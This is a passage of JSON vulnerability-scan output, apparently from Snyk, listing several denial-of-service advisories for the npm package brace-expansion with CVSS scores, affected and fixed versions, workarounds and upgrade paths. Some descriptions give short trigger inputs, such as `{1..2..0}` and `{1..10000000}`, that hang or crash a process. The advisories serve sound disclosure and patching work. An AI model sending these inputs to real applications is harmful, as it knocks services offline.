"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources 